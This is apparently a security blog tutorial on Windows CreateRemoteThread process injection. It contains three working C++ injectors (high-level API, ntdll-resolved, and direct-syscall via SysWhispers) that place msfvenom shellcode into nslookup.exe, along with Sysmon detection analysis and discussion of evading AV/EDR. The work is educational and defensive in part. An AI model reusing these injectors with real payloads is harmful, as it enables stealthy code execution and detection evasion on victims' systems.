Process Injection Part 1 | CreateRemoteThread()
Contents
In this new series, I am going to dive deep into Windows Process Injection. The purpose of this series is to dig into how each injection technique works at its core. Each post is going to be broken down into four (4) parts:
- Process Injection Primer – Subject to the injection technique, we will review how this type of injection works programmatically.
- Analyze High Level Windows API Calls – Use the MSDN Documented methods and functions.
- API Call Analysis
- Sysmon events and logging
- Analyze Medium Level Windows Syscalls Using LoadLibrary – Use the NTAPI Undocumented functions via ntdll.dll
- API Call Analysis
- Sysmon events and logging
- Analyze Low Level Windows Syscalls Using x86 Assembly – Custom via Rolling Our Own Syscalls 🔥
- API Call Analysis
- Sysmon events and logging
I am piggy backing off the phenomenal research conducted by Outflank as well as a project developed by @Jackson_T called SysWhispers that auto generates a x86 ASM functions and header files. Incredible work to say the least.
Each post in this series will contain source code that is written in C++ with both High Level API calls and corresponding Low Level Syscalls. For continuity, I am going to be compiling all my builds for x64 bit architectures.
Reference Material
For high level Windows API Calls. We will use the official Microsoft MSDN Documentation. For all the undocumented functions, which is what we will be using when we want to conduct direct system calls, we will reference the NTAPI Undocumented Functions. If you’re unfamiliar with Syscalls and the Windows API’s I will provide a small Process Injection primer however, I am not detailing how Windows User v. Kernel mode works and the associated rings. I highly suggest you read Outflanks Blog Post in order to understand more.
Code Examples:
- All code examples use the same 64-bit shellcode generated from the Metasploit Frameworks Msfvenom tool.
msfvenom -p windows/x64/exec CMD=notepad.exe -f c
- The shellcode executes Notepad.exe.
System Configuration / Tools:
- Sysmon installed with SwiftOnSecurity’s configuration.
- API Monitor to analyze all function calls.
- I generated common.asm and common.h files using the SysWhispers Repository and followed the repositories directions on how to add the files to an existing Visual Studio C++ project.
python syswhispers.py -p common -o common
Process Injection Primer
In regards to CreateRemoteThread() process injection, there are really three (3) main objectives that need to happen:
- VirtualAllocEx() – Be able to access an external process in order to allocate memory within its virtual address space.
- WriteProcessMemory() – Write shellcode to the allocated memory.
- CreateRemoteThread() – Have the external process execute said shellcode within another thread.
Example
1 2 3 4 5 6 |
LPVOID allocation_start; allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL); CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0); |
VirtualAllocEx()
We first need to allocate a chunk of memory that is the same size as our shellcode. VirtualAllocEx is the Windows API we need to call in order to initialize a buffer space that resides in a region of memory within the virtual address space of a specified process (i.e., the process we want to inject into).
- VirtualAllocEx – Reserves, Commits, or Changes the state of memory within a specified process. This API call takes an additional parameter, compared to VirtualAlloc, (HANDLE hProcess) which is a Handle to the victim process.
1 2 3 4 5 6 7 8 9 |
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); |
Looking at example above, we have a HANDLE to an external process (nslookup.exe in this case). With this handle, we can allocate a buffer the same size as our shellcode within the victim processes virtual memory pages.

The image above is a snapshot of a Visual Studio Debugging session. I set a break point at the VirtualAllocEx CALL and then stepped over it in order to execute it. We can see that VirtualAllocEx() allocated a buffer located at 0x000001efdc9d000. This memory allocation should be within the nslookup.exe process space. To confirm, we can open the nslookup.exe process in ProcessHacker -→ properties -→ memory and look for the memory region we see in the debugger.
WriteProcessMemory()
Now that we have allocated a buffer the same size as our shellcode, we can write our shellcode into that buffer.
- WriteProcessMemory() – Writes data to an area of memory in a specified process.
1 2 3 4 5 6 7 8 9 |
BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten ); |
In the Visual Studio Debugger, I step forward once again which executes the WriteProcessMemory CALL. This writes the contents of our shellcode into the victim processes allocated memory space. In ProcessHacker, we can conduct a memory dump of the nslookup.exe and when we specifically analyze the memory we allocated via the VirtualAllocEx CALL, we can see that our shellcode was properly written to the nslookup.exe buffer.

CreateRemoteThread()
With the shellcode loaded into the allocated virtual memory space of the victim process, we can now tell the victim process to create a new thread starting at the address of our shellcode buffer.
- CreateRemoteThread() – Creates a thread that runs in the virtual address space of another process.
1 2 3 4 5 6 7 8 9 10 11 |
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); |
Stepping forward for the last time, we execute CreateRemoteThread and get a Notpad.exe instance.
High Level Windows API
In the example below, I create a 64-bit Nslookup.exe process and then inject into it using default Metasploit shellcode that simply creates an instance of Notepad.exe. This is not a very “clean” method of injection but for the purpose of this example, it works. This example details the proper / MSDN documented method of executing code within a different process space.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
#include <iostream> #include <Windows.h> #include "common.h" int main() { // msfvenom -p windows/x64/exec CMD=notepad.exe -f c unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74" "\x65\x70\x61\x64\x2e\x65\x78\x65\x00"; // Create a 64-bit process: STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID allocation_start; SIZE_T allocation_size = sizeof(shellcode); LPCWSTR cmd; HANDLE hProcess, hThread; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); cmd = TEXT("C:\\Windows\\System32\\nslookup.exe"); if (!CreateProcess( cmd, // Executable NULL, // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE CREATE_NO_WINDOW, // Do Not Open a Window NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses) )) { DWORD errval = GetLastError(); std::cout << "FAILED" << errval << std::endl; } WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. // Inject into the 64-bit process: // HIGH-LEVEL WINDOWS API: allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL); CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0); } |
API Call Analysis
To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services, Undocumented].
Item | Count |
---|---|
Number of API Calls | 298 |
Total Amount of Memory User | 192 KB |
Basic analysis of the API calls makes it very objective that the program is accessing and manipulating memory of an external process. When we narrow in and only look at,CRT_High_Level_API.exe
and KERNELBASE.DLL
we see each and every function call. The great part or API Monitor is that we can also analyze the decoded function parameters and the memory page at the time of the instruction/CALL.
As a mental note, look at the image above and look at each CRT_High_Level_API.exe
function call (High Level API) and look at the lower level API functions the OS Calls. There is a distinct difference here and it’s one worth noting as we will call those functions’ direction when we look at the Low-Level API calls.
Sysmon Analysis
Sysmon detected five (5) distinct events related to CRT_High_Level_API.exe
:
- Process Create –
CRT_High_Level_API.exe
- Process Create –
nslookup.exe
- CreateRemoteThread – Process Injection into
nslookup.exe
- Process Terminated –
CRT_High_Level_API.exe
exit - Process Create –
nslookup.exe
executes shellcode which opensnotepad.exe
For all testing, these events are going to be symmetrical considering how the Sysmon driver hooks syscalls. This is a great tool for Blue Team because, no matter how low we go, Sysmon “Should” be able to catch our CreateRemoteThread() process injection. But with a claim like that, let’s look at why Sysmon is so damn powerful.
Sysmon’s Power
The image above depicts the User-Land vs. Kernel-Land. In the example above, we executed the ntdll.dll!NtQueryVirtualMemory function and that set a chain of events that eventually ended up in Kernel-Land issuing a syscall. Many AV / EDR solutions run in User-Land and do not (can’t) touch Kernel-Land. That’s why later in this post, we are going to circumvent running to Kernel-Land to execute a syscall and just do it ourselves. But, Sysmon is different in that a driver is loaded (SysmonDrv.sys
) that will still hook and enumerate the syscall regardless of where the instruction is executed.
Medium Level API – Ntdll.dll
We have set up a program that moves away from using the High-Level API and directly calls the undocumented functions that are resident within ntdll.dll. You’ll notice that we now have a series of new structs and custom types that are necessary in order to load the required functions and execute them properly.
The goal of this code is to mitigate the High-Level function calls that the OS then translates to several Lower-Level API calls by simply calling the lower-level API ourselves.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 |
#include <iostream> #include <Windows.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _PS_ATTRIBUTE { ULONG Attribute; SIZE_T Size; union { ULONG Value; PVOID ValuePtr; } u1; PSIZE_T ReturnLength; } PS_ATTRIBUTE, * PPS_ATTRIBUTE; typedef struct _PS_ATTRIBUTE_LIST { SIZE_T TotalLength; PS_ATTRIBUTE Attributes[1]; } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef NTSTATUS(WINAPI* NAVM)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG); typedef NTSTATUS(NTAPI* NWVM)(HANDLE, PVOID, PVOID, ULONG, PULONG); typedef NTSTATUS(NTAPI* NCT)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PPS_ATTRIBUTE_LIST); int main() { // msfvenom -p windows/x64/exec CMD=notepad.exe -f c unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74" "\x65\x70\x61\x64\x2e\x65\x78\x65\x00"; // Create a 64-bit process: STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID allocation_start; SIZE_T allocation_size = sizeof(shellcode); LPCWSTR cmd; HANDLE hProcess, hThread; NTSTATUS status; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); cmd = TEXT("C:\\Windows\\System32\\nslookup.exe"); if (!CreateProcess( cmd, // Executable NULL, // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE CREATE_NO_WINDOW, // Do Not Open a Window NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses) )) { DWORD errval = GetLastError(); std::cout << "FAILED" << errval << std::endl; } WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. // Inject into the 64-bit process: // LoadLibary MEDIUM-LEVEL UNDOCUMENTED API: HINSTANCE hNtdll = LoadLibrary(L"ntdll.dll"); NAVM NtAllocateVirtualMemory = (NAVM)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); NWVM NtWriteVirtualMemory = (NWVM)GetProcAddress(hNtdll, "NtWriteVirtualMemory"); NCT NtCreateThreadEx = (NCT)GetProcAddress(hNtdll, "NtCreateThreadEx"); allocation_start = nullptr; status = NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); status = NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0); status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pi.hProcess, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL); } |
API Call Analysis
To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services].
Item | Count |
---|---|
Number of API Calls | 309 |
Total Amount of Memory User | 196 KB |
There was an uptick in overall API Calls and size of memory used (not a big deal). But, we successfully bypassed using the High-Level API to execute shellcode. When we look at the actual API Calls (in the image below), we can see a distinct difference. All the API calls were called via the executable rather than being passed to KERNELBASE.dll. This is because we loaded ntdll.dll and then dynamically loaded the functions we needed in order to inject into nslookup.exe.
Sysmon Analysis
Sysmon caught all the same events as the High-Level API calls. This is to be expected since the driver has the capability to hook events subject to the configuration.
To get a better idea as to where Sysmon was hooking our syscalls, we can review the process stack right before shellcode execution in nslookup.exe to see if the SysmonDrv.sys driver was loaded. And that’s exactly what we see. Procmon is a bit limited as to the overall functions we can see within the stack trace (regardless of proper symbol loading) but we can easily discern our own event timeline subject to the Process Create, Process Start, and Thread Create operations.
Reviewing the image above shows that right when nslookup.exe was executing the shellcode in a new thread, Sysmon observes an event that the Sysmon Configuration file says we are interested in so, it hooks it and analyzes it.
Low Level API – Direct Syscalls
This is where the fun really starts. To this point, we’ve used the Windows High-Level MSDN Documented methods of accessing process memory, changing process memory, and creating a remote thread within an external process. Next, we went one step lower and manually mapped the Nt* functions residing within ntdll.dll to our program and called them directly. Now, we’re going to completely remove any Windows DLL imports and manually conduct the syscalls with our own custom assembly rather than having ntdll.dll or kernelbase.dll do it for us.
I’ve used a tool called SysWhispers to generate both the header file (common.h) and the x86 assembly file (common.asm). I followed the repositories instructions on how to load both files into the Visual Studio C++ project and then compiled common.asm and included the common.h header.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 |
#include <iostream> #include <Windows.h> #include "common.h" int main() { // msfvenom -p windows/x64/exec CMD=notepad.exe -f c unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74" "\x65\x70\x61\x64\x2e\x65\x78\x65\x00"; // Create a 64-bit process: STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID allocation_start; SIZE_T allocation_size = sizeof(shellcode); LPCWSTR cmd; HANDLE hProcess, hThread; NTSTATUS status; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); cmd = TEXT("C:\\Windows\\System32\\nslookup.exe"); if (!CreateProcess( cmd, // Executable NULL, // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE CREATE_NO_WINDOW, // Do Not Open a Window NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses) )) { DWORD errval = GetLastError(); std::cout << "FAILED" << errval << std::endl; } WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. // Inject into the 64-bit process: // SYSWHISPER LOW-LEVEL UNDOCUMENTED API: allocation_start = nullptr; NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0); NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pi.hProcess, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL); } |
Let’s go through exactly how this works. First, common.asm contains the proper Windows Syscall integer values for many of the undocumented Windows functions. Common.asm not only maps the function name to the proper syscall integer but, it also takes OS Version into account in order to mitigate syscall issues subject to value changes over time. Let’s take a look at the NtAllocateVirtualMemory() syscall assembly that SysWhispers generated for us.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 |
NtAllocateVirtualMemory PROC mov rax, gs:[60h] ; Load PEB into RAX. NtAllocateVirtualMemory_Check_X_X_XXXX: ; Check major version. cmp dword ptr [rax+118h], 6 je NtAllocateVirtualMemory_Check_6_X_XXXX cmp dword ptr [rax+118h], 10 je NtAllocateVirtualMemory_Check_10_0_XXXX jmp NtAllocateVirtualMemory_SystemCall_Unknown NtAllocateVirtualMemory_Check_6_X_XXXX: ; Check minor version for Windows Vista/7/8. cmp dword ptr [rax+11ch], 1 je NtAllocateVirtualMemory_Check_6_1_XXXX cmp dword ptr [rax+11ch], 2 je NtAllocateVirtualMemory_SystemCall_6_2_XXXX cmp dword ptr [rax+11ch], 2 je NtAllocateVirtualMemory_SystemCall_6_3_XXXX jmp NtAllocateVirtualMemory_SystemCall_Unknown NtAllocateVirtualMemory_Check_6_1_XXXX: ; Check build number for Windows 7. cmp dword ptr [rax+120h], 7600 je NtAllocateVirtualMemory_SystemCall_6_1_7600 cmp dword ptr [rax+120h], 7601 je NtAllocateVirtualMemory_SystemCall_6_1_7601 jmp NtAllocateVirtualMemory_SystemCall_Unknown NtAllocateVirtualMemory_Check_10_0_XXXX: ; Check build number for Windows 10. cmp dword ptr [rax+120h], 10240 je NtAllocateVirtualMemory_SystemCall_10_0_10240 cmp dword ptr [rax+120h], 10586 je NtAllocateVirtualMemory_SystemCall_10_0_10586 cmp dword ptr [rax+120h], 14393 je NtAllocateVirtualMemory_SystemCall_10_0_14393 cmp dword ptr [rax+120h], 15063 je NtAllocateVirtualMemory_SystemCall_10_0_15063 cmp dword ptr [rax+120h], 16299 je NtAllocateVirtualMemory_SystemCall_10_0_16299 cmp dword ptr [rax+120h], 17134 je NtAllocateVirtualMemory_SystemCall_10_0_17134 cmp dword ptr [rax+120h], 17763 je NtAllocateVirtualMemory_SystemCall_10_0_17763 cmp dword ptr [rax+120h], 18362 je NtAllocateVirtualMemory_SystemCall_10_0_18362 cmp dword ptr [rax+120h], 18363 je NtAllocateVirtualMemory_SystemCall_10_0_18363 jmp NtAllocateVirtualMemory_SystemCall_Unknown NtAllocateVirtualMemory_SystemCall_6_1_7600: ; Windows 7 SP0 mov eax, 0015h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_6_1_7601: ; Windows 7 SP1 and Server 2008 R2 SP0 mov eax, 0015h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012 mov eax, 0016h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_6_3_XXXX: ; Windows 8.1 and Server 2012 R2 mov eax, 0017h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_10240: ; Windows 10.0.10240 (1507) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_10586: ; Windows 10.0.10586 (1511) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_14393: ; Windows 10.0.14393 (1607) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_15063: ; Windows 10.0.15063 (1703) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_16299: ; Windows 10.0.16299 (1709) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_17134: ; Windows 10.0.17134 (1803) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_17763: ; Windows 10.0.17763 (1809) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909) mov eax, 0018h jmp NtAllocateVirtualMemory_Epilogue NtAllocateVirtualMemory_SystemCall_Unknown: ; Unknown/unsupported version. ret NtAllocateVirtualMemory_Epilogue: mov r10, rcx syscall ret NtAllocateVirtualMemory ENDP |
Subject to the OS Versioning, the NtAllocateVirualMemory instructions will set the correct integer value and load that value into the EAX Register. Next, it will jmp to NtAllocateVirtuallMemory_Epilouge which makes the syscall. The Windows Version that I am developing on is Windows 10.0.17763 (1809) which means the proper syscall value for NtAllocateVirtualMemory is 0x18 or decimal 24. And just to double check, we can look at a table that details all the functions and syscall values subject to OS Version here.
Let’s look at this in a debugger. I set a break point on NtAllocateVirtualMemory within the C++ source. Once I hit that break point I will step through the common.asm instructions until the EAX Register is updated which means an OS Version match was found and the Syscall Integer value was loaded into EAX (lower 32-bits of RAX).
NOTE: If you’re not sure how x86 and x86_64 bit registers correlate to each other here is a fantastic graphic that details all the registers:
As expected, we’ve matched one of the OS Version values and the EAX register is set to 0x18. Next, we jump to the epilogue to execute the NtAllocateVirtualMemory syscall. Keep in mind, we did not load any external functions to help us execute this syscall. We directly issued this syscall.
API Call Analysis
To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services].
Item | Count |
---|---|
Number of API Calls | 288 |
Total Amount of Memory User | 186 KB |
We don’t see ANY of the standard API calls we saw with the High-Level and Medium-Level API calls. That’s because we did not load any external resources to conduct the syscall. But, the Syscall still happened, and we can confirm that by reviewing the Sysmon event logs. Remember, Sysmon hooking is running in Kernel-Land (SYSTEM) and as such, we can’t really hide ourselves from it unless we disable it (Need to be admin).
Sysmon Analysis
Once again, Sysmon was able to hook and log the five (5) events.
Conclusion
Red Team
The lower we can go, the better. We can evade AV / EDR systems that hook in User-Land and do all kinds of fancy things by rolling our own syscalls. Mixing this technique with a plethora of others such as Arbitrary Code Guard, off-binary payload ingestion, etc. can allow us to operate with less noise as well as arm Blue Team with new detection capabilities.
Blue Team
Use Sysmon! As we saw, the Sysmon driver was able to hook all of our remote thread activity. This is a Free tool with several features that should be rolled into your detection processes. For more information:
- Black Hills Information Security Blog – Getting Started with Sysmon
- Black Hills Information Security Webcast – Implementing Sysmon and Applocker
- ion-storm’s excellent (starter) Sysmon Config
Pivot Point
June 30, 2020at11:00 pmincredibles post and very interesting,how do I compile this code ? I would be appreciate if you show me how to compile it.
Joshua
July 1, 2020at9:36 amThere could be several reasons why it’s not compiling. Make sure you have the following:
Pingback: SysWhispers2 - AV/EDR Evasion Via Direct System Calls - Hacker Gadgets
January 16, 2021at4:17 pmPingback: SysWhispers2 - AV/EDR Evasion Via Direct System Calls - Haxf4rall
January 16, 2021at6:02 pmPingback: SysWhispers2 - AV/EDR Evasion Via Direct System Calls - Geekychild
January 17, 2021at3:43 amPingback: SysWhispers2 - AV/EDR Evasion Via Direct System Calls – PentestTools
April 28, 2021at9:39 am